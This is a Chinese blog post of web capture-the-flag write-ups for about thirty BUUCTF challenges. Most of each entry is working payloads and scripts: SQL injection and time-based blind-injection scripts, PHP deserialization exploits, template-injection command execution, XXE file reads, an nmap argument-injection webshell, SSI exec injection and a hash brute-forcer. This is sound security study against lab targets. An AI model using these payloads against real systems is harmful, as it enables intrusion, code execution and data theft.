目录
[RoarCTF 2019]Easy Java
[网鼎杯 2018]Fakebook
[CISCN2019 华北赛区 Day2 Web1]Hack World
[BJDCTF2020]The mystery of ip
[网鼎杯 2020 朱雀组]phpweb
[BSidesCF 2020]Had a bad day
[BJDCTF2020]ZJCTF,不过如此
[BUUCTF 2018]Online Tool
[GXYCTF2019]禁止套娃
[NCTF2019]Fake XML cookbook
[GWCTF 2019]我有一个数据库
[BJDCTF2020]Mark loves cat
[WUSTCTF2020]朴实无华
[BJDCTF2020]Cookie is so stable
[安洵杯 2019]easy_web
[MRCTF2020]Ezpop
[安洵杯 2019]easy_serialize_php
[MRCTF2020]PYWebsite
[强网杯 2019]高明的黑客
[WesternCTF2018]shrine
[网鼎杯 2020 朱雀组]Nmap
[NPUCTF2020]ReadlezPHP
[CISCN2019 华东南赛区]Web11
[SWPU2019]Web1
[CISCN 2019 初赛]Love Math
[极客大挑战 2019]FinalSQL
[BSidesCF 2019]Kookie
[BSidesCF 2019]Futurella
[BJDCTF2020]EasySearch
[极客大挑战 2019]RCE ME
刚学会F12看源码,每天做个一页题,吃嘛嘛香。
[RoarCTF 2019]Easy Java
登录框浅爆一下
admin admin888登录成功
点一下help,跳转到一个文件包含界面
尝试post传参,成功下载文件
尝试java web源码泄露
ctf/web源码泄露及利用办法【总结中】_web游戏泄露源码信息找回解题思路-CSDN博客
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件 漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
filename=/WEB-INF/web.xml读到servlet 和其他的应用组件配置及命名规则
看到/Flag这个路由,直接访问报错500
filename=WEB-INF/classes/com/wm/ctf/FlagController.class读这个FlagController的字节码
base64解码拿到flag
[网鼎杯 2018]Fakebook
先join注册一个用户
点击链接跳转,注意到?no=1,经过尝试可以sql注入
直接报错注入,爆着爆着感觉限长太麻烦了,于是还是用回了union联合查询
?no=-1 union/**/select 1,2,3,4
# 爆表
?no=-1
union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
# 查字段
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema='fakebook'#
# 查内容
?no=-1 union/**/select 1,group_concat('~',no,username,passwd,data,'~'),3,4 from fakebook.users#
最后回显如下,一个unserialize提示,并且data中也查出了序列化字符串
很显然就是data里存的数据反序列化出来渲染给前端的
再进行一波信息搜集
访问/robots.txt
访问/user.php.bak,拿到user.php的源码
不难注意到,data中存的序列化数据就是对应的UserInfo类
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
此外,因为我传的是真实博客地址,所以访问/view.php?no=1,浏览器一直在转圈,即它在加载我的博客内容
加载好后查看源码那是一坨
那如果将博客地址换为本地文件,那是否就可以直接读取并回显靶机敏感文件了呢
很遗憾格式并不满足
但可以在查询的时候进行反序列化
payload:
no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
右键查看源码
点击这一坨,再右键查看源代码,拿到flag
[CISCN2019 华北赛区 Day2 Web1]Hack World
表名和列名都告诉我们了,一眼sql注入
fuzz一下
长度为535的都是被ban的
if(1=1,sleep(5),1) 测出可以时间盲注
脚本
import requests
url = 'http://9f99eed3-f4a9-46aa-be7e-8b177a68f109.node5.buuoj.cn:81/index.php'
res = ""
for i in range(1, 48, 1):
for j in range(32, 128, 1):
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{j},sleep(0.5),0)#'
# payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{j},sleep(0.5),0)#"
payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{j},sleep(1),0)"
data = {
'id': payload
}
try:
r = requests.post(url=url, data=data,timeout=0.5)
except Exception as e:
continue
res += chr(j)
print(res)
break
直接爆出
[BJDCTF2020]The mystery of ip
hint.php给到提示
flag.php显示了ip
是在XFF处打入的
测出有SSTI
掏出这张包浆老图
测出是Smarty
Smarty 模板注入与沙箱逃逸-安全客 - 安全资讯平台
payload:
X-Forwarded-For: {if system('cat /flag')}{/if}
[网鼎杯 2020 朱雀组]phpweb
抓包,看到func和p(肯定param呗),这不为所欲为
ban了一堆命令执行函数,尝试echo
虽然没成功(因为echo是语言结构),但看到报错回显得知其逻辑是用call_user_func来处理的
确实命令执行该禁的都禁了,尝试文件读取,不能直接读到flag文件,所以先读index.php
源码如下:
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
给了一个Test类,可以利用其来反序列化
exp
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
}
$a=new Test();
$a->p="tac /tmp/f*";
$a->func="system";
echo serialize($a);
?>
payload:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:11:"tac+/tmp/f*";s:4:"func";s:6:"system";}
拿到flag
[BSidesCF 2020]Had a bad day
随便点一个,可以看到文件包含点
尝试去读取index.php,回显中显示是index.php.php
去掉后缀即可
base64解码读到源码
主要是那段正则:检查变量 $file
中是否包含 "woofers"、"meowers" 或 "index" 子字符串之一
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
伪协议里塞个woofers就好
payload:
?category=php://filter/convert.base64-encode/woofers/resource=flag
base64解码拿到flag
[BJDCTF2020]ZJCTF,不过如此
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
base64解码得
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
简单解读下这段正则:
/(' . $re . ')/ei
:这是正则表达式的模式部分。其中,$re
是一个变量,可能是从外部传入的值。正则表达式模式的结构是将该变量的值插入到正则表达式中,形成一个模式。在模式的两侧使用了斜杠/
来表示正则表达式的开始和结束。模式中的括号()
表示一个捕获组,用来捕获匹配的内容。
ei
:这是正则表达式模式的修饰符部分。其中,e
修饰符表示执行替换字符串中的代码作为 PHP 代码来执行,i
修饰符表示执行大小写不敏感的匹配。
'strtolower("\\1")'
:这是替换字符串,用于指定匹配到的内容的替换方式。其中,\1
表示捕获组中的第一个匹配项,即模式中括号中匹配到的内容。然后,strtolower()
函数被调用,将捕获组中的内容转换为小写。
$str
:这是被处理的原始字符串,preg_replace()
函数将在这个字符串中执行替换操作。
看起来极为正常的一个功能,实则存在漏洞
深入研究preg_replace与代码执行
payload:
/next.php?\S*=${eval($_POST[1])}
连蚁剑,拿flag
[BUUCTF 2018]Online Tool
先来看防护部分
$host = escapeshellarg($host);
:escapeshellarg()
函数用于对字符串进行安全地转义,使其可以安全地用作命令行参数。它会在参数两端添加单引号,并对其中的特殊字符进行转义处理,例如空格、单引号等。这样可以确保传递给 shell 的参数不会被误解释或利用。
$host = escapeshellcmd($host);
:escapeshellcmd()
函数用于对字符串进行进一步的转义,以确保其安全性。它会移除字符串中的特殊字符,包括;
、&
、|
、>
、<
、(
、)
、\
和换行符等,这些字符可能被用于构造恶意命令。这样可以减少命令注入攻击的风险。
再来看命令执行部分
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
它执行了一个
nmap
命令,nmap
是用于网络发现和安全审计的工具。这个命令的参数如下:
-T5
:指定扫描的速度为 5,即最高速度。-sT
:指定使用 TCP connect() 扫描方式,即通过建立TCP连接来探测目标主机的端口状态。-Pn
:跳过主机发现阶段,直接对目标进行扫描,即使目标主机不响应ping也会进行扫描。--host-timeout 2
:设置主机超时时间为 2 秒,如果在这段时间内未能得到响应,则会被视为超时。-F
:指定快速扫描模式,仅扫描最常见的 1000 个 TCP 端口。
参考文章:谈escapeshellarg绕过与参数注入漏洞 | 离别歌
利用/绕过 PHP escapeshellarg/escapeshellcmd函数-安全客 - 安全资讯平台
意思就是当二者以题目顺序配合使用时会产生漏洞利用
;|& 等符号会被 escapeshellcmd 转义导致最后无效,所以不能用其来分割多个命令,所以要利用namp -oG xxx.xxx来写入一个文件
访问/819af541d003fa7570f13bd321a4786b/test.php,拿到flag
[GXYCTF2019]禁止套娃
简单信息搜集,测出git
上GitHack
拿到源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
一眼无参RCE:无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客
waf里主要是把'et'给ban了,让get一类都整不来了
先读当前目录下的文件
?exp=print_r(scandir(current(localeconv())));
?exp=highlight_file(session_id(session_start()));
Cookie: PHPSESSID=flag.php
[NCTF2019]Fake XML cookbook
随便登录一下,发现是以XML的形式传的
直接XXE读文件
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>&xxe;</password></user>
[GWCTF 2019]我有一个数据库
起手火星文
访问/robots.txt
访问phpinfo.php,没啥用
dirsearch扫出来phpmyadmin
访问/phpmyadmin ,得知其版本号为4.8.1
搜历史漏洞
phpMyAdmin 4.8.1 远程文件包含漏洞复现-腾讯云开发者社区-腾讯云
payload:
/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../flag
直接读取本地文件,拿到flag
[BJDCTF2020]Mark loves cat
简单信息搜集测出来git源码泄露
上GitHack
拿到index.php的源码
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
这不就一坨变量覆盖(
直接走exit($yds)输出$flag
payload:
?yds=flag
[WUSTCTF2020]朴实无华
访问/robots.txt
访问/fAke_f1agggg.php啥也没有
抓包看到响应头
访问/fl4g.php
主要要注意的是intval那个trick
<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
?>
payload:
/fl4g.php?num=9e9&md5=0e215962017&get_flag=ls
空格用${IFS}来绕过
payload:
/fl4g.php?num=9e9&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[BJDCTF2020]Cookie is so stable
点击Hint,提示让看cookie
点击Flag,随便提交下
在Cookie的user点测出SSTI
测出来是Twig模板注入
SSTI模板注入 | Err0r的小站
payload:
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("tac /f*")}}
[安洵杯 2019]easy_web
抓包,看到传两个参数,第一个img应该可以任意文件读取,第二个cmd有限制
base64decode -> base64decode -> hexdecode
再逆向对index.php进行处理得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
对响应体内容base64解码得
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
md5强比较payload:
a=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&b=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2
命令执行payload:
cmd=ta\c+/flag
[MRCTF2020]Ezpop
瞪眼看链子
Show.__wakeup -> Show.__toString -> Test.__get ->Modifier.__invoke
exp:
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$d=new Modifier();
$c=new Test();
$b=new Show();
$a=new Show();
$c->p=$d;
$b->str=$c;
$a->source=$b;
echo urlencode(serialize($a));
payload:
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
base64解码得flag
[安洵杯 2019]easy_serialize_php
/index.php?f=phpinfo
phpinfo看到disable_functions
又看到了auto_append_file
sha1不能直接利用,要打字符串逃逸
payload:
_SESSION[user]=phpphpphpflagphpphpphp&_SESSION[function] =;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}
[MRCTF2020]PYWebsite
直接访问/flag.php
提示ip,改XFF拿到flag
[强网杯 2019]高明的黑客
访问/www.tar.gz拿到源码
意思是要我们在这一堆混淆代码里找到可利用的shell
贴脚本
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
payload:
/xk0SzyKwfzw.php?Efa5BVG=tac /f*
[WesternCTF2018]shrine
flag注册到了config里
过滤就是不给用括号,不让用黑名单中的config和self
测出SSTI
先读全局变量
/shrine/{{url_for.__globals__}}
再读config
/shrine/{{url_for.__globals__['current_app'].config}}
为啥config不会被set为none呢
gpt如是说:
关于处理黑名单中的关键词(比如
config
和self
),其尝试通过生成的Jinja模板代码来将这些关键词设置为None
。这个处理是发生在字符串被渲染为模板之前的,目的是为了避免模板注入攻击。例如,如果有人尝试通过URL
/shrine/{{ config }}
访问应用,理想情况下,config
关键词会被识别并通过之前的处理被设置为None
,这样就不会显示出配置信息。但是,{{url_for.__globals__['current_app'].config}}
这个表达式是在模板渲染时计算的,而不是在黑名单处理阶段。因此,它能够绕过前面的“清洁”步骤,直接访问应用配置。简而言之,这段代码试图在模板渲染前“消毒”输入,但是复杂的表达式(如访问
url_for
的全局变量来获取config
)可以绕过这种简单的黑名单机制。
[网鼎杯 2020 朱雀组]Nmap
有escapeshellarg()与escapeshellcmd() 防护
内容上过滤了php
可以直接写马
payload:
' <?=eval($_POST[1]);?> -oG yjh.phtml '
连蚁剑,拿flag
[NPUCTF2020]ReadlezPHP
抓包看到一个href
访问/time.php?source
一个反序列化,注意eval是语言结构,不能作为函数调用
我们可以用assert来转接
exp
<?php
class HelloPhp
{
public $a = 'eval(phpinfo());';
public $b = "assert";
}
$c = new HelloPhp;
echo serialize($c);
?>
直接读phpinfo拿到flag
[CISCN2019 华东南赛区]Web11
XFF可以改变右上角的IP
又是SSTI
测出来是Smarty
payload:
X-Forwarded-For: {if system('tac /flag')}{/if}
[SWPU2019]Web1
先随便注册个账号登录进去
可以申请发布广告,状态是待管理确认,感觉可以XSS
经过尝试确实可以xss
<script>alert(/xss/)</script>
但后台好像没bot,打不起来
看wp知道这题考的是sql注入啊,用到无列名注入
https://www.cnblogs.com/AikN/p/15725756.html
SQL注入之 无列名注入 原理详解_无列名布尔sql注入-CSDN博客
payload:
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
[CISCN 2019 初赛]Love Math
这个waf只要不是纯数字,就会被认为是函数丢给白名单检测
目标构造
?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag
[]可以用{}来替代
_GET
=hex2bin(5f474554)
5f474554因为含一个f,所以要如下构造
5f474554
=dechex(1598506324)
hex2bin可以用36进制来构造(从0-x共35个字符,用36进制)
base_convert()
函数将10进制数转化为36进制的hex2bin
hex2bin
=base_convert(37907361743,10,36)
payload:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag
[极客大挑战 2019]FinalSQL
题目告诉我们要sql盲注
注入点在/search.php
^没被ban,用异或布尔盲注
import requests
url = "http://49a8d21f-4eba-42cc-9a09-bf404c323452.node5.buuoj.cn:81/search.php"
flag = ''
def payload(i, j):
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1, 10000):
print(i, ':')
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
print('flag=', flag)
[BSidesCF 2019]Kookie
用cookie/monster登录
改cookie为admin拿到flag
[BSidesCF 2019]Futurella
右键查看源码拿到flag
[BJDCTF2020]EasySearch
常规信息搜集访问/index.php.swp拿到源码
爆破脚本
import hashlib
import itertools
import string
# 目标MD5哈希的前6个字符
target = '6d0bc1'
# 尝试的密码字符集,这里使用了字母和数字,可以根据需要调整
charset = string.ascii_letters + string.digits
# 密码的最大长度,可以根据实际情况调整
max_length = 6
# 爆破密码
def brute_force():
for length in range(1, max_length + 1):
# itertools.product生成所有可能的密码组合
for attempt in itertools.product(charset, repeat=length):
# 将密码组合转换为字符串
password = ''.join(attempt)
# 计算密码的MD5哈希,并取前6个字符
hash = hashlib.md5(password.encode()).hexdigest()[:6]
# 检查哈希是否与目标匹配
if hash == target:
return password
return None
# 运行爆破函数
password = brute_force()
if password:
print(f"Found password: {password}")
else:
print("Password not found.")
admin / RhPd登录
抓包,看到响应头
访问/public/12fa73c031f386c66e78ad7885c9bb804386955a.shtml
SHTML是一种文件扩展名,代表的是服务器解析的HTML(Server-Parsed HTML)文件。这种文件类型支持服务器端包含(Server Side Includes,简称SSI)指令,允许在HTML页面中插入动态内容。SSI是一种简单的服务器端脚本语言,用于在Web页面被送往客户端浏览器之前,由Web服务器动态地插入各种内容。
通过使用SHTML文件和SSI指令,可以实现一些基本的服务器端功能,比如:
- 包含其他文件的内容:可以将网站的公共部分(例如页眉、页脚、导航菜单等)保存在单独的文件中,然后在多个页面中通过SSI指令包含它们,方便维护和更新。
- 显示当前的日期和时间、文件的最后修改时间等。
- 根据条件包含不同的内容或执行简单的逻辑判断。
使用SSI通常要求文件名以`.shtml`扩展名结尾,这样Web服务器就知道需要对这些文件进行额外的处理。在服务器配置中,也可以设置其他文件类型(如`.html`或`.htm`)来处理SSI指令,但这可能会影响服务器性能,因为服务器需要解析所有这些文件类型中的SSI指令。
SSI的使用很简单,它通过特殊的HTML注释标签来实现,例如:
```html
<!--#include virtual="/footer.html" -->
```
这行代码将在当前页面的相应位置插入`footer.html`文件的内容。
payload:
username=<!--#exec+cmd="cat+../flag_990c66bf85a09c664f0b6741840499b2"-->&password=RhPd
访问/public/3158b28826659dfc0d4a08fbb49eb779d24010d1.shtml拿到flag
[极客大挑战 2019]RCE ME
【Web】disable_function绕过例题wp(1)